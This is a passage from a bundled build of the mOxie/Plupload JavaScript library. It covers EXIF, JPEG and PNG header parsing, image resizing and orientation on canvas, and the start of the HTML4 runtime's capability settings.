8146 // instead of data tag contains an offset of the data
8147 offset = data.LONG(offset) + offsets.tiffHeader;
8148 }
8149
8150 // in case we left the boundaries of data throw an early exception
8151 if (offset + size * count >= this.length()) {
8152 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8153 }
8154
8155 // special care for the string
8156 if (type === 'ASCII') {
8157 hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL
8158 continue;
8159 } else {
8160 values = data.asArray(type, offset, count);
8161 value = (count == 1 ? values[0] : values);
8162
8163 if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') {
8164 hash[tag] = tagDescs[tag][value];
8165 } else {
8166 hash[tag] = value;
8167 }
8168 }
8169 }
8170
8171 return hash;
8172 }
8173
8174 // At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported
8175 function setTag(ifd, tag, value) {
8176 var offset, length, tagOffset, valueOffset = 0;
8177
8178 // If tag name passed translate into hex key
8179 if (typeof(tag) === 'string') {
8180 var tmpTags = tags[ifd.toLowerCase()];
8181 for (var hex in tmpTags) {
8182 if (tmpTags[hex] === tag) {
8183 tag = hex;
8184 break;
8185 }
8186 }
8187 }
8188 offset = offsets[ifd.toLowerCase() + 'IFD'];
8189 length = this.SHORT(offset);
8190
8191 for (var i = 0; i < length; i++) {
8192 tagOffset = offset + 12 * i + 2;
8193
8194 if (this.SHORT(tagOffset) == tag) {
8195 valueOffset = tagOffset + 8;
8196 break;
8197 }
8198 }
8199
8200 if (!valueOffset) {
8201 return false;
8202 }
8203
8204 try {
8205 this.write(valueOffset, value, 4);
8206 } catch(ex) {
8207 return false;
8208 }
8209
8210 return true;
8211 }
8212 }
8213
8214 ExifParser.prototype = BinaryReader.prototype;
8215
8216 return ExifParser;
8217});
8218
8219// Included from: src/javascript/runtime/html5/image/JPEG.js
8220
8221/**
8222 * JPEG.js
8223 *
8224 * Copyright 2013, Moxiecode Systems AB
8225 * Released under GPL License.
8226 *
8227 * License: http://www.plupload.com/license
8228 * Contributing: http://www.plupload.com/contributing
8229 */
8230
8231/**
8232@class moxie/runtime/html5/image/JPEG
8233@private
8234*/
8235define("moxie/runtime/html5/image/JPEG", [
8236 "moxie/core/utils/Basic",
8237 "moxie/core/Exceptions",
8238 "moxie/runtime/html5/image/JPEGHeaders",
8239 "moxie/runtime/html5/utils/BinaryReader",
8240 "moxie/runtime/html5/image/ExifParser"
8241], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) {
8242
8243 function JPEG(data) {
8244 var _br, _hm, _ep, _info;
8245
8246 _br = new BinaryReader(data);
8247
8248 // check if it is jpeg
8249 if (_br.SHORT(0) !== 0xFFD8) {
8250 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8251 }
8252
8253 // backup headers
8254 _hm = new JPEGHeaders(data);
8255
8256 // extract exif info
8257 try {
8258 _ep = new ExifParser(_hm.get('app1')[0]);
8259 } catch(ex) {}
8260
8261 // get dimensions
8262 _info = _getDimensions.call(this);
8263
8264 Basic.extend(this, {
8265 type: 'image/jpeg',
8266
8267 size: _br.length(),
8268
8269 width: _info && _info.width || 0,
8270
8271 height: _info && _info.height || 0,
8272
8273 setExif: function(tag, value) {
8274 if (!_ep) {
8275 return false; // or throw an exception
8276 }
8277
8278 if (Basic.typeOf(tag) === 'object') {
8279 Basic.each(tag, function(value, tag) {
8280 _ep.setExif(tag, value);
8281 });
8282 } else {
8283 _ep.setExif(tag, value);
8284 }
8285
8286 // update internal headers
8287 _hm.set('app1', _ep.SEGMENT());
8288 },
8289
8290 writeHeaders: function() {
8291 if (!arguments.length) {
8292 // if no arguments passed, update headers internally
8293 return _hm.restore(data);
8294 }
8295 return _hm.restore(arguments[0]);
8296 },
8297
8298 stripHeaders: function(data) {
8299 return _hm.strip(data);
8300 },
8301
8302 purge: function() {
8303 _purge.call(this);
8304 }
8305 });
8306
8307 if (_ep) {
8308 this.meta = {
8309 tiff: _ep.TIFF(),
8310 exif: _ep.EXIF(),
8311 gps: _ep.GPS(),
8312 thumb: _getThumb()
8313 };
8314 }
8315
8316
8317 function _getDimensions(br) {
8318 var idx = 0
8319 , marker
8320 , length
8321 ;
8322
8323 if (!br) {
8324 br = _br;
8325 }
8326
8327 // examine all through the end, since some images might have very large APP segments
8328 while (idx <= br.length()) {
8329 marker = br.SHORT(idx += 2);
8330
8331 if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn
8332 idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte)
8333 return {
8334 height: br.SHORT(idx),
8335 width: br.SHORT(idx += 2)
8336 };
8337 }
8338 length = br.SHORT(idx += 2);
8339 idx += length - 2;
8340 }
8341 return null;
8342 }
8343
8344
8345 function _getThumb() {
8346 var data = _ep.thumb()
8347 , br
8348 , info
8349 ;
8350
8351 if (data) {
8352 br = new BinaryReader(data);
8353 info = _getDimensions(br);
8354 br.clear();
8355
8356 if (info) {
8357 info.data = data;
8358 return info;
8359 }
8360 }
8361 return null;
8362 }
8363
8364
8365 function _purge() {
8366 if (!_ep || !_hm || !_br) {
8367 return; // ignore any repeating purge requests
8368 }
8369 _ep.clear();
8370 _hm.purge();
8371 _br.clear();
8372 _info = _hm = _ep = _br = null;
8373 }
8374 }
8375
8376 return JPEG;
8377});
8378
8379// Included from: src/javascript/runtime/html5/image/PNG.js
8380
8381/**
8382 * PNG.js
8383 *
8384 * Copyright 2013, Moxiecode Systems AB
8385 * Released under GPL License.
8386 *
8387 * License: http://www.plupload.com/license
8388 * Contributing: http://www.plupload.com/contributing
8389 */
8390
8391/**
8392@class moxie/runtime/html5/image/PNG
8393@private
8394*/
8395define("moxie/runtime/html5/image/PNG", [
8396 "moxie/core/Exceptions",
8397 "moxie/core/utils/Basic",
8398 "moxie/runtime/html5/utils/BinaryReader"
8399], function(x, Basic, BinaryReader) {
8400
8401 function PNG(data) {
8402 var _br, _hm, _ep, _info;
8403
8404 _br = new BinaryReader(data);
8405
8406 // check if it's png
8407 (function() {
8408 var idx = 0, i = 0
8409 , signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A]
8410 ;
8411
8412 for (i = 0; i < signature.length; i++, idx += 2) {
8413 if (signature[i] != _br.SHORT(idx)) {
8414 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8415 }
8416 }
8417 }());
8418
8419 function _getDimensions() {
8420 var chunk, idx;
8421
8422 chunk = _getChunkAt.call(this, 8);
8423
8424 if (chunk.type == 'IHDR') {
8425 idx = chunk.start;
8426 return {
8427 width: _br.LONG(idx),
8428 height: _br.LONG(idx += 4)
8429 };
8430 }
8431 return null;
8432 }
8433
8434 function _purge() {
8435 if (!_br) {
8436 return; // ignore any repeating purge requests
8437 }
8438 _br.clear();
8439 data = _info = _hm = _ep = _br = null;
8440 }
8441
8442 _info = _getDimensions.call(this);
8443
8444 Basic.extend(this, {
8445 type: 'image/png',
8446
8447 size: _br.length(),
8448
8449 width: _info.width,
8450
8451 height: _info.height,
8452
8453 purge: function() {
8454 _purge.call(this);
8455 }
8456 });
8457
8458 // for PNG we can safely trigger purge automatically, as we do not keep any data for later
8459 _purge.call(this);
8460
8461 function _getChunkAt(idx) {
8462 var length, type, start, CRC;
8463
8464 length = _br.LONG(idx);
8465 type = _br.STRING(idx += 4, 4);
8466 start = idx += 4;
8467 CRC = _br.LONG(idx + length);
8468
8469 return {
8470 length: length,
8471 type: type,
8472 start: start,
8473 CRC: CRC
8474 };
8475 }
8476 }
8477
8478 return PNG;
8479});
8480
8481// Included from: src/javascript/runtime/html5/image/ImageInfo.js
8482
8483/**
8484 * ImageInfo.js
8485 *
8486 * Copyright 2013, Moxiecode Systems AB
8487 * Released under GPL License.
8488 *
8489 * License: http://www.plupload.com/license
8490 * Contributing: http://www.plupload.com/contributing
8491 */
8492
8493/**
8494@class moxie/runtime/html5/image/ImageInfo
8495@private
8496*/
8497define("moxie/runtime/html5/image/ImageInfo", [
8498 "moxie/core/utils/Basic",
8499 "moxie/core/Exceptions",
8500 "moxie/runtime/html5/image/JPEG",
8501 "moxie/runtime/html5/image/PNG"
8502], function(Basic, x, JPEG, PNG) {
8503 /**
8504 Optional image investigation tool for HTML5 runtime. Provides the following features:
8505 - ability to distinguish image type (JPEG or PNG) by signature
8506 - ability to extract image width/height directly from it's internals, without preloading in memory (fast)
8507 - ability to extract APP headers from JPEGs (Exif, GPS, etc)
8508 - ability to replace width/height tags in extracted JPEG headers
8509 - ability to restore APP headers, that were for example stripped during image manipulation
8510
8511 @class ImageInfo
8512 @constructor
8513 @param {String} data Image source as binary string
8514 */
8515 return function(data) {
8516 var _cs = [JPEG, PNG], _img;
8517
8518 // figure out the format, throw: ImageError.WRONG_FORMAT if not supported
8519 _img = (function() {
8520 for (var i = 0; i < _cs.length; i++) {
8521 try {
8522 return new _cs[i](data);
8523 } catch (ex) {
8524 // console.info(ex);
8525 }
8526 }
8527 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8528 }());
8529
8530 Basic.extend(this, {
8531 /**
8532 Image Mime Type extracted from it's depths
8533
8534 @property type
8535 @type {String}
8536 @default ''
8537 */
8538 type: '',
8539
8540 /**
8541 Image size in bytes
8542
8543 @property size
8544 @type {Number}
8545 @default 0
8546 */
8547 size: 0,
8548
8549 /**
8550 Image width extracted from image source
8551
8552 @property width
8553 @type {Number}
8554 @default 0
8555 */
8556 width: 0,
8557
8558 /**
8559 Image height extracted from image source
8560
8561 @property height
8562 @type {Number}
8563 @default 0
8564 */
8565 height: 0,
8566
8567 /**
8568 Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs.
8569
8570 @method setExif
8571 @param {String} tag Tag to set
8572 @param {Mixed} value Value to assign to the tag
8573 */
8574 setExif: function() {},
8575
8576 /**
8577 Restores headers to the source.
8578
8579 @method writeHeaders
8580 @param {String} data Image source as binary string
8581 @return {String} Updated binary string
8582 */
8583 writeHeaders: function(data) {
8584 return data;
8585 },
8586
8587 /**
8588 Strip all headers from the source.
8589
8590 @method stripHeaders
8591 @param {String} data Image source as binary string
8592 @return {String} Updated binary string
8593 */
8594 stripHeaders: function(data) {
8595 return data;
8596 },
8597
8598 /**
8599 Dispose resources.
8600
8601 @method purge
8602 */
8603 purge: function() {
8604 data = null;
8605 }
8606 });
8607
8608 Basic.extend(this, _img);
8609
8610 this.purge = function() {
8611 _img.purge();
8612 _img = null;
8613 };
8614 };
8615});
8616
8617// Included from: src/javascript/runtime/html5/image/MegaPixel.js
8618
8619/**
8620(The MIT License)
8621
8622Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>;
8623
8624Permission is hereby granted, free of charge, to any person obtaining
8625a copy of this software and associated documentation files (the
8626'Software'), to deal in the Software without restriction, including
8627without limitation the rights to use, copy, modify, merge, publish,
8628distribute, sublicense, and/or sell copies of the Software, and to
8629permit persons to whom the Software is furnished to do so, subject to
8630the following conditions:
8631
8632The above copyright notice and this permission notice shall be
8633included in all copies or substantial portions of the Software.
8634
8635THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
8636EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
8637MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
8638IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
8639CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
8640TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
8641SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8642*/
8643
8644/**
8645 * Mega pixel image rendering library for iOS6 Safari
8646 *
8647 * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel),
8648 * which causes unexpected subsampling when drawing it in canvas.
8649 * By using this library, you can safely render the image with proper stretching.
8650 *
8651 * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>
8652 * Released under the MIT license
8653 */
8654
8655/**
8656@class moxie/runtime/html5/image/MegaPixel
8657@private
8658*/
8659define("moxie/runtime/html5/image/MegaPixel", [], function() {
8660
8661 /**
8662 * Rendering image element (with resizing) into the canvas element
8663 */
8664 function renderImageToCanvas(img, canvas, options) {
8665 var iw = img.naturalWidth, ih = img.naturalHeight;
8666 var width = options.width, height = options.height;
8667 var x = options.x || 0, y = options.y || 0;
8668 var ctx = canvas.getContext('2d');
8669 if (detectSubsampling(img)) {
8670 iw /= 2;
8671 ih /= 2;
8672 }
8673 var d = 1024; // size of tiling canvas
8674 var tmpCanvas = document.createElement('canvas');
8675 tmpCanvas.width = tmpCanvas.height = d;
8676 var tmpCtx = tmpCanvas.getContext('2d');
8677 var vertSquashRatio = detectVerticalSquash(img, iw, ih);
8678 var sy = 0;
8679 while (sy < ih) {
8680 var sh = sy + d > ih ? ih - sy : d;
8681 var sx = 0;
8682 while (sx < iw) {
8683 var sw = sx + d > iw ? iw - sx : d;
8684 tmpCtx.clearRect(0, 0, d, d);
8685 tmpCtx.drawImage(img, -sx, -sy);
8686 var dx = (sx * width / iw + x) << 0;
8687 var dw = Math.ceil(sw * width / iw);
8688 var dy = (sy * height / ih / vertSquashRatio + y) << 0;
8689 var dh = Math.ceil(sh * height / ih / vertSquashRatio);
8690 ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh);
8691 sx += d;
8692 }
8693 sy += d;
8694 }
8695 tmpCanvas = tmpCtx = null;
8696 }
8697
8698 /**
8699 * Detect subsampling in loaded image.
8700 * In iOS, larger images than 2M pixels may be subsampled in rendering.
8701 */
8702 function detectSubsampling(img) {
8703 var iw = img.naturalWidth, ih = img.naturalHeight;
8704 if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image
8705 var canvas = document.createElement('canvas');
8706 canvas.width = canvas.height = 1;
8707 var ctx = canvas.getContext('2d');
8708 ctx.drawImage(img, -iw + 1, 0);
8709 // subsampled image becomes half smaller in rendering size.
8710 // check alpha channel value to confirm image is covering edge pixel or not.
8711 // if alpha value is 0 image is not covering, hence subsampled.
8712 return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
8713 } else {
8714 return false;
8715 }
8716 }
8717
8718
8719 /**
8720 * Detecting vertical squash in loaded image.
8721 * Fixes a bug which squash image vertically while drawing into canvas for some images.
8722 */
8723 function detectVerticalSquash(img, iw, ih) {
8724 var canvas = document.createElement('canvas');
8725 canvas.width = 1;
8726 canvas.height = ih;
8727 var ctx = canvas.getContext('2d');
8728 ctx.drawImage(img, 0, 0);
8729 var data = ctx.getImageData(0, 0, 1, ih).data;
8730 // search image edge pixel position in case it is squashed vertically.
8731 var sy = 0;
8732 var ey = ih;
8733 var py = ih;
8734 while (py > sy) {
8735 var alpha = data[(py - 1) * 4 + 3];
8736 if (alpha === 0) {
8737 ey = py;
8738 } else {
8739 sy = py;
8740 }
8741 py = (ey + sy) >> 1;
8742 }
8743 canvas = null;
8744 var ratio = (py / ih);
8745 return (ratio === 0) ? 1 : ratio;
8746 }
8747
8748 return {
8749 isSubsampled: detectSubsampling,
8750 renderTo: renderImageToCanvas
8751 };
8752});
8753
8754// Included from: src/javascript/runtime/html5/image/Image.js
8755
8756/**
8757 * Image.js
8758 *
8759 * Copyright 2013, Moxiecode Systems AB
8760 * Released under GPL License.
8761 *
8762 * License: http://www.plupload.com/license
8763 * Contributing: http://www.plupload.com/contributing
8764 */
8765
8766/**
8767@class moxie/runtime/html5/image/Image
8768@private
8769*/
8770define("moxie/runtime/html5/image/Image", [
8771 "moxie/runtime/html5/Runtime",
8772 "moxie/core/utils/Basic",
8773 "moxie/core/Exceptions",
8774 "moxie/core/utils/Encode",
8775 "moxie/file/Blob",
8776 "moxie/file/File",
8777 "moxie/runtime/html5/image/ImageInfo",
8778 "moxie/runtime/html5/image/MegaPixel",
8779 "moxie/core/utils/Mime",
8780 "moxie/core/utils/Env"
8781], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) {
8782
8783 function HTML5Image() {
8784 var me = this
8785 , _img, _imgInfo, _canvas, _binStr, _blob
8786 , _modified = false // is set true whenever image is modified
8787 , _preserveHeaders = true
8788 ;
8789
8790 Basic.extend(this, {
8791 loadFromBlob: function(blob) {
8792 var comp = this, I = comp.getRuntime()
8793 , asBinary = arguments.length > 1 ? arguments[1] : true
8794 ;
8795
8796 if (!I.can('access_binary')) {
8797 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
8798 }
8799
8800 _blob = blob;
8801
8802 if (blob.isDetached()) {
8803 _binStr = blob.getSource();
8804 _preload.call(this, _binStr);
8805 return;
8806 } else {
8807 _readAsDataUrl.call(this, blob.getSource(), function(dataUrl) {
8808 if (asBinary) {
8809 _binStr = _toBinary(dataUrl);
8810 }
8811 _preload.call(comp, dataUrl);
8812 });
8813 }
8814 },
8815
8816 loadFromImage: function(img, exact) {
8817 this.meta = img.meta;
8818
8819 _blob = new File(null, {
8820 name: img.name,
8821 size: img.size,
8822 type: img.type
8823 });
8824
8825 _preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL());
8826 },
8827
8828 getInfo: function() {
8829 var I = this.getRuntime(), info;
8830
8831 if (!_imgInfo && _binStr && I.can('access_image_binary')) {
8832 _imgInfo = new ImageInfo(_binStr);
8833 }
8834
8835 info = {
8836 width: _getImg().width || 0,
8837 height: _getImg().height || 0,
8838 type: _blob.type || Mime.getFileMime(_blob.name),
8839 size: _binStr && _binStr.length || _blob.size || 0,
8840 name: _blob.name || '',
8841 meta: _imgInfo && _imgInfo.meta || this.meta || {}
8842 };
8843
8844 // store thumbnail data as blob
8845 if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) {
8846 info.meta.thumb.data = new Blob(null, {
8847 type: 'image/jpeg',
8848 data: info.meta.thumb.data
8849 });
8850 }
8851
8852 return info;
8853 },
8854
8855 downsize: function() {
8856 _downsize.apply(this, arguments);
8857 },
8858
8859 getAsCanvas: function() {
8860 if (_canvas) {
8861 _canvas.id = this.uid + '_canvas';
8862 }
8863 return _canvas;
8864 },
8865
8866 getAsBlob: function(type, quality) {
8867 if (type !== this.type) {
8868 // if different mime type requested prepare image for conversion
8869 _downsize.call(this, this.width, this.height, false);
8870 }
8871 return new File(null, {
8872 name: _blob.name || '',
8873 type: type,
8874 data: me.getAsBinaryString.call(this, type, quality)
8875 });
8876 },
8877
8878 getAsDataURL: function(type) {
8879 var quality = arguments[1] || 90;
8880
8881 // if image has not been modified, return the source right away
8882 if (!_modified) {
8883 return _img.src;
8884 }
8885
8886 if ('image/jpeg' !== type) {
8887 return _canvas.toDataURL('image/png');
8888 } else {
8889 try {
8890 // older Geckos used to result in an exception on quality argument
8891 return _canvas.toDataURL('image/jpeg', quality/100);
8892 } catch (ex) {
8893 return _canvas.toDataURL('image/jpeg');
8894 }
8895 }
8896 },
8897
8898 getAsBinaryString: function(type, quality) {
8899 // if image has not been modified, return the source right away
8900 if (!_modified) {
8901 // if image was not loaded from binary string
8902 if (!_binStr) {
8903 _binStr = _toBinary(me.getAsDataURL(type, quality));
8904 }
8905 return _binStr;
8906 }
8907
8908 if ('image/jpeg' !== type) {
8909 _binStr = _toBinary(me.getAsDataURL(type, quality));
8910 } else {
8911 var dataUrl;
8912
8913 // if jpeg
8914 if (!quality) {
8915 quality = 90;
8916 }
8917
8918 try {
8919 // older Geckos used to result in an exception on quality argument
8920 dataUrl = _canvas.toDataURL('image/jpeg', quality/100);
8921 } catch (ex) {
8922 dataUrl = _canvas.toDataURL('image/jpeg');
8923 }
8924
8925 _binStr = _toBinary(dataUrl);
8926
8927 if (_imgInfo) {
8928 _binStr = _imgInfo.stripHeaders(_binStr);
8929
8930 if (_preserveHeaders) {
8931 // update dimensions info in exif
8932 if (_imgInfo.meta && _imgInfo.meta.exif) {
8933 _imgInfo.setExif({
8934 PixelXDimension: this.width,
8935 PixelYDimension: this.height
8936 });
8937 }
8938
8939 // re-inject the headers
8940 _binStr = _imgInfo.writeHeaders(_binStr);
8941 }
8942
8943 // will be re-created from fresh on next getInfo call
8944 _imgInfo.purge();
8945 _imgInfo = null;
8946 }
8947 }
8948
8949 _modified = false;
8950
8951 return _binStr;
8952 },
8953
8954 destroy: function() {
8955 me = null;
8956 _purge.call(this);
8957 this.getRuntime().getShim().removeInstance(this.uid);
8958 }
8959 });
8960
8961
8962 function _getImg() {
8963 if (!_canvas && !_img) {
8964 throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);
8965 }
8966 return _canvas || _img;
8967 }
8968
8969
8970 function _toBinary(str) {
8971 return Encode.atob(str.substring(str.indexOf('base64,') + 7));
8972 }
8973
8974
8975 function _toDataUrl(str, type) {
8976 return 'data:' + (type || '') + ';base64,' + Encode.btoa(str);
8977 }
8978
8979
8980 function _preload(str) {
8981 var comp = this;
8982
8983 _img = new Image();
8984 _img.onerror = function() {
8985 _purge.call(this);
8986 comp.trigger('error', x.ImageError.WRONG_FORMAT);
8987 };
8988 _img.onload = function() {
8989 comp.trigger('load');
8990 };
8991
8992 _img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type);
8993 }
8994
8995
8996 function _readAsDataUrl(file, callback) {
8997 var comp = this, fr;
8998
8999 // use FileReader if it's available
9000 if (window.FileReader) {
9001 fr = new FileReader();
9002 fr.onload = function() {
9003 callback(this.result);
9004 };
9005 fr.onerror = function() {
9006 comp.trigger('error', x.ImageError.WRONG_FORMAT);
9007 };
9008 fr.readAsDataURL(file);
9009 } else {
9010 return callback(file.getAsDataURL());
9011 }
9012 }
9013
9014 function _downsize(width, height, crop, preserveHeaders) {
9015 var self = this
9016 , scale
9017 , mathFn
9018 , x = 0
9019 , y = 0
9020 , img
9021 , destWidth
9022 , destHeight
9023 , orientation
9024 ;
9025
9026 _preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString())
9027
9028 // take into account orientation tag
9029 orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1;
9030
9031 if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation
9032 // swap dimensions
9033 var tmp = width;
9034 width = height;
9035 height = tmp;
9036 }
9037
9038 img = _getImg();
9039
9040 // unify dimensions
9041 if (!crop) {
9042 scale = Math.min(width/img.width, height/img.height);
9043 } else {
9044 // one of the dimensions may exceed the actual image dimensions - we need to take the smallest value
9045 width = Math.min(width, img.width);
9046 height = Math.min(height, img.height);
9047
9048 scale = Math.max(width/img.width, height/img.height);
9049 }
9050
9051 // we only downsize here
9052 if (scale > 1 && !crop && preserveHeaders) {
9053 this.trigger('Resize');
9054 return;
9055 }
9056
9057 // prepare canvas if necessary
9058 if (!_canvas) {
9059 _canvas = document.createElement("canvas");
9060 }
9061
9062 // calculate dimensions of proportionally resized image
9063 destWidth = Math.round(img.width * scale);
9064 destHeight = Math.round(img.height * scale);
9065
9066 // scale image and canvas
9067 if (crop) {
9068 _canvas.width = width;
9069 _canvas.height = height;
9070
9071 // if dimensions of the resulting image still larger than canvas, center it
9072 if (destWidth > width) {
9073 x = Math.round((destWidth - width) / 2);
9074 }
9075
9076 if (destHeight > height) {
9077 y = Math.round((destHeight - height) / 2);
9078 }
9079 } else {
9080 _canvas.width = destWidth;
9081 _canvas.height = destHeight;
9082 }
9083
9084 // rotate if required, according to orientation tag
9085 if (!_preserveHeaders) {
9086 _rotateToOrientaion(_canvas.width, _canvas.height, orientation);
9087 }
9088
9089 _drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight);
9090
9091 this.width = _canvas.width;
9092 this.height = _canvas.height;
9093
9094 _modified = true;
9095 self.trigger('Resize');
9096 }
9097
9098
9099 function _drawToCanvas(img, canvas, x, y, w, h) {
9100 if (Env.OS === 'iOS') {
9101 // avoid squish bug in iOS6
9102 MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y });
9103 } else {
9104 var ctx = canvas.getContext('2d');
9105 ctx.drawImage(img, x, y, w, h);
9106 }
9107 }
9108
9109
9110 /**
9111 * Transform canvas coordination according to specified frame size and orientation
9112 * Orientation value is from EXIF tag
9113 * @author Shinichi Tomita <shinichi.tomita@gmail.com>
9114 */
9115 function _rotateToOrientaion(width, height, orientation) {
9116 switch (orientation) {
9117 case 5:
9118 case 6:
9119 case 7:
9120 case 8:
9121 _canvas.width = height;
9122 _canvas.height = width;
9123 break;
9124 default:
9125 _canvas.width = width;
9126 _canvas.height = height;
9127 }
9128
9129 /**
9130 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
9131 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
9132 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
9133 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
9134 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
9135 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
9136 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
9137 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
9138 */
9139
9140 var ctx = _canvas.getContext('2d');
9141 switch (orientation) {
9142 case 2:
9143 // horizontal flip
9144 ctx.translate(width, 0);
9145 ctx.scale(-1, 1);
9146 break;
9147 case 3:
9148 // 180 rotate left
9149 ctx.translate(width, height);
9150 ctx.rotate(Math.PI);
9151 break;
9152 case 4:
9153 // vertical flip
9154 ctx.translate(0, height);
9155 ctx.scale(1, -1);
9156 break;
9157 case 5:
9158 // vertical flip + 90 rotate right
9159 ctx.rotate(0.5 * Math.PI);
9160 ctx.scale(1, -1);
9161 break;
9162 case 6:
9163 // 90 rotate right
9164 ctx.rotate(0.5 * Math.PI);
9165 ctx.translate(0, -height);
9166 break;
9167 case 7:
9168 // horizontal flip + 90 rotate right
9169 ctx.rotate(0.5 * Math.PI);
9170 ctx.translate(width, -height);
9171 ctx.scale(-1, 1);
9172 break;
9173 case 8:
9174 // 90 rotate left
9175 ctx.rotate(-0.5 * Math.PI);
9176 ctx.translate(-width, 0);
9177 break;
9178 }
9179 }
9180
9181
9182 function _purge() {
9183 if (_imgInfo) {
9184 _imgInfo.purge();
9185 _imgInfo = null;
9186 }
9187 _binStr = _img = _canvas = _blob = null;
9188 _modified = false;
9189 }
9190 }
9191
9192 return (extensions.Image = HTML5Image);
9193});
9194
9195/**
9196 * Stub for moxie/runtime/flash/Runtime
9197 * @private
9198 */
9199define("moxie/runtime/flash/Runtime", [
9200], function() {
9201 return {};
9202});
9203
9204/**
9205 * Stub for moxie/runtime/silverlight/Runtime
9206 * @private
9207 */
9208define("moxie/runtime/silverlight/Runtime", [
9209], function() {
9210 return {};
9211});
9212
9213// Included from: src/javascript/runtime/html4/Runtime.js
9214
9215/**
9216 * Runtime.js
9217 *
9218 * Copyright 2013, Moxiecode Systems AB
9219 * Released under GPL License.
9220 *
9221 * License: http://www.plupload.com/license
9222 * Contributing: http://www.plupload.com/contributing
9223 */
9224
9225/*global File:true */
9226
9227/**
9228Defines constructor for HTML4 runtime.
9229
9230@class moxie/runtime/html4/Runtime
9231@private
9232*/
9233define("moxie/runtime/html4/Runtime", [
9234 "moxie/core/utils/Basic",
9235 "moxie/core/Exceptions",
9236 "moxie/runtime/Runtime",
9237 "moxie/core/utils/Env"
9238], function(Basic, x, Runtime, Env) {
9239
9240 var type = 'html4', extensions = {};
9241
9242 function Html4Runtime(options) {
9243 var I = this
9244 , Test = Runtime.capTest
9245 , True = Runtime.capTrue
9246 ;
9247
9248 Runtime.call(this, options, type, {
9249 access_binary: Test(window.FileReader || window.File && File.getAsDataURL),
9250 access_image_binary: false,
9251 display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))),
9252 do_cors: false,
9253 drag_and_drop: false,
9254 filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
9255 return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) ||
9256 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
9257 (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
9258 }()),
9259 resize_image: function() {
9260 return extensions.Image && I.can('access_binary') && Env.can('create_canvas');
9261 },
9262 report_upload_progress: false,
9263 return_response_headers: false,
9264 return_response_type: function(responseType) {
9265 if (responseType === 'json' && !!window.JSON) {
9266 return true;
9267 }
9268 return !!~Basic.inArray(responseType, ['text', 'document', '']);
9269 },
9270 return_status_code: function(code) {
9271 return !Basic.arrayDiff(code, [200, 404]);
9272 },
9273 select_file: function() {
9274 return Env.can('use_fileinput');
9275 },
9276 select_multiple: false,
9277 send_binary_string: false,
9278 send_custom_headers: false,
9279 send_multipart: true,
9280 slice_blob: false,
9281 stream_upload: function() {
9282 return I.can('select_file');
9283 },
9284 summon_file_dialog: function() { // yeah... some dirty sniffing here...
9285 return I.can('select_file') && (
9286 (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
9287 (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
9288 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
9289 !!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
9290 );
9291 },
9292 upload_filesize: True,
9293 use_http_method: function(methods) {
9294 return !Basic.arrayDiff(methods, ['GET', 'POST']);
9295 }
9296 });
9297
9298
9299 Basic.extend(this, {
9300 init : function() {
9301 this.trigger("Init");
9302 },
9303
9304 destroy: (function(destroy) { // extend default destroy method
9305 return function() {
9306 destroy.call(I);
9307 destroy = I = null;
9308 };
9309 }(this.destroy))
9310 });
9311
9312 Basic.extend(this.getShim(), extensions);
9313 }
9314
